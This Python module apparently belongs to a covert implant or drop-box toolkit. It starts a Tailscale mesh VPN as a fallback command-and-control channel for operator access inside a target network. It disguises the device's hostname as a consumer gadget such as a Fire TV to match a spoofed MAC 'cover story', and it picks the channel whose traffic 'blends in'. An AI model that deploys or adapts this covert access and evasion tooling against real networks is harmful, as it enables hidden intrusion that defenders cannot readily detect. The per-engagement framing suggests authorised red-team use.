#!/usr/bin/env python3 """Tailscale module — fallback operator access via Tailscale mesh VPN. FALLBACK ONLY. Tailscale maintains persistent connections to coordination servers — it is chatty by design. Use only when: 1. WireGuard is blocked by the target network 2. Target network already has Tailscale traffic (blends in) Manages the tailscaled daemon via subprocess. Authenticates with a per-engagement auth key and sets hostname to match the MAC profile (e.g., "amazon-fire-tv-xxx") for consistency with the device cover story. """ import logging import os import subprocess import time from typing import Optional from modules.base import BaseModule logger = logging.getLogger(__name__) TAILSCALE_BIN = "/usr/bin/tailscale" TAILSCALED_BIN = "/usr/sbin/tailscaled" STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready class Tailscale(BaseModule): """Fallback C2 — Tailscale mesh VPN managed as subprocess.""" name = "tailscale" module_type = "connectivity" priority = -150 requires_root = True def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._daemon_proc: Optional[subprocess.Popen] = None self._auth_key: Optional[str] = None self._hostname: Optional[str] = None self._connected = False self._tailscale_ip: Optional[str] = None # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return ts_cfg = self.config.get("connectivity", {}).get("tailscale", {}) if not ts_cfg: logger.error("No tailscale config in bigbrother.yaml") self.state.set_module_status(self.name, "error") return self._auth_key = ts_cfg.get("auth_key") self._hostname = ts_cfg.get("hostname") if not self._auth_key: logger.error("Tailscale auth_key not configured") self.state.set_module_status(self.name, "error") return # If no hostname specified, try to match MAC profile if not self._hostname: mac_hostname = self.state.get( "mac_manager", "dhcp_hostname", default=None ) if mac_hostname: self._hostname = mac_hostname.replace(" ", "-").lower() else: self._hostname = f"bb-{os.urandom(3).hex()}" # Start tailscaled daemon if not self._start_daemon(ts_cfg): self.state.set_module_status(self.name, "error") return # Authenticate and bring up if not self.up(self._auth_key): logger.error("Failed to bring Tailscale up") self._stop_daemon() self.state.set_module_status(self.name, "error") return self._running = True self._pid = os.getpid() self._start_time = time.time() self._connected = True self.state.set_module_status(self.name, "running", pid=self._pid) self.bus.emit("CONNECTIVITY_CHANGED", {"module": self.name, "state": "up", "ip": self._tailscale_ip, "hostname": self._hostname}, source_module=self.name) logger.info("Tailscale up — hostname=%s, ip=%s", self._hostname, self._tailscale_ip) def stop(self) -> None: if not self._running: return self.down() self._stop_daemon() self._running = False self._connected = False self.state.set_module_status(self.name, "stopped") self.bus.emit("CONNECTIVITY_CHANGED", {"module": self.name, "state": "down"}, source_module=self.name) logger.info("Tailscale stopped") def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "connected": self._connected, "ip": self._tailscale_ip, "hostname": self._hostname, "daemon_pid": self._daemon_proc.pid if self._daemon_proc else None, } def configure(self, config: dict) -> None: self.config.update(config) def health_check(self) -> bool: if not self._running: return False return self.is_connected() # ------------------------------------------------------------------ # Tailscale operations # ------------------------------------------------------------------ def up(self, auth_key: str) -> bool: """Authenticate and bring Tailscale up with the given auth key.""" try: cmd = [TAILSCALE_BIN, "up", "--authkey", auth_key, "--hostname", self._hostname, "--accept-routes"] result = subprocess.run( cmd, capture_output=True, text=True, timeout=30, ) if result.returncode != 0: logger.error("tailscale up failed: %s", result.stderr.strip()) return False # Get assigned IP self._tailscale_ip = self.get_ip() return self._tailscale_ip is not None except subprocess.TimeoutExpired: logger.error("tailscale up timed out") return False def down(self) -> bool: """Bring Tailscale down (logout and disconnect).""" try: subprocess.run( [TAILSCALE_BIN, "logout"], capture_output=True, timeout=15, ) subprocess.run( [TAILSCALE_BIN, "down"], capture_output=True, timeout=15, ) self._connected = False return True except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc: logger.warning("Error during tailscale down: %s", exc) return False def is_connected(self) -> bool: """Check if Tailscale is connected and has an IP.""" try: result = subprocess.run( [TAILSCALE_BIN, "status", "--json"], capture_output=True, text=True, timeout=10, ) if result.returncode != 0: return False import json status = json.loads(result.stdout) backend_state = status.get("BackendState", "") self._connected = backend_state == "Running" return self._connected except (subprocess.TimeoutExpired, ValueError, KeyError): return False def get_ip(self) -> Optional[str]: """Get the Tailscale IPv4 address.""" try: result = subprocess.run( [TAILSCALE_BIN, "ip", "-4"], capture_output=True, text=True, timeout=10, ) if result.returncode == 0 and result.stdout.strip(): ip = result.stdout.strip().splitlines()[0] self._tailscale_ip = ip return ip except (subprocess.CalledProcessError, subprocess.TimeoutExpired): pass return None # ------------------------------------------------------------------ # Daemon management # ------------------------------------------------------------------ def _start_daemon(self, ts_cfg: dict) -> bool: """Start tailscaled as a managed subprocess.""" state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale") socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock") os.makedirs(state_dir, exist_ok=True) os.makedirs(os.path.dirname(socket_path), exist_ok=True) cmd = [ TAILSCALED_BIN, f"--state={state_dir}/tailscaled.state", f"--socket={socket_path}", "--tun=userspace-networking", ] try: self._daemon_proc = subprocess.Popen( cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, ) except FileNotFoundError: logger.error("tailscaled binary not found at %s", TAILSCALED_BIN) return False except OSError as exc: logger.error("Failed to start tailscaled: %s", exc) return False # Wait for daemon to be ready deadline = time.time() + STARTUP_TIMEOUT while time.time() < deadline: if self._daemon_proc.poll() is not None: stderr = self._daemon_proc.stderr.read().decode(errors='replace') logger.error("tailscaled exited prematurely: %s", stderr[:500]) return False try: result = subprocess.run( [TAILSCALE_BIN, "status"], capture_output=True, timeout=5, ) # Any response (even "not logged in") means daemon is ready if result.returncode in (0, 1): logger.debug("tailscaled is ready") return True except (subprocess.TimeoutExpired, FileNotFoundError): pass time.sleep(1.0) logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT) self._stop_daemon() return False def _stop_daemon(self) -> None: """Stop the tailscaled subprocess.""" if self._daemon_proc is None: return if self._daemon_proc.poll() is None: try: self._daemon_proc.terminate() self._daemon_proc.wait(timeout=5.0) except subprocess.TimeoutExpired: logger.warning("tailscaled did not stop after SIGTERM, killing") self._daemon_proc.kill() try: self._daemon_proc.wait(timeout=2.0) except subprocess.TimeoutExpired: pass self._daemon_proc = None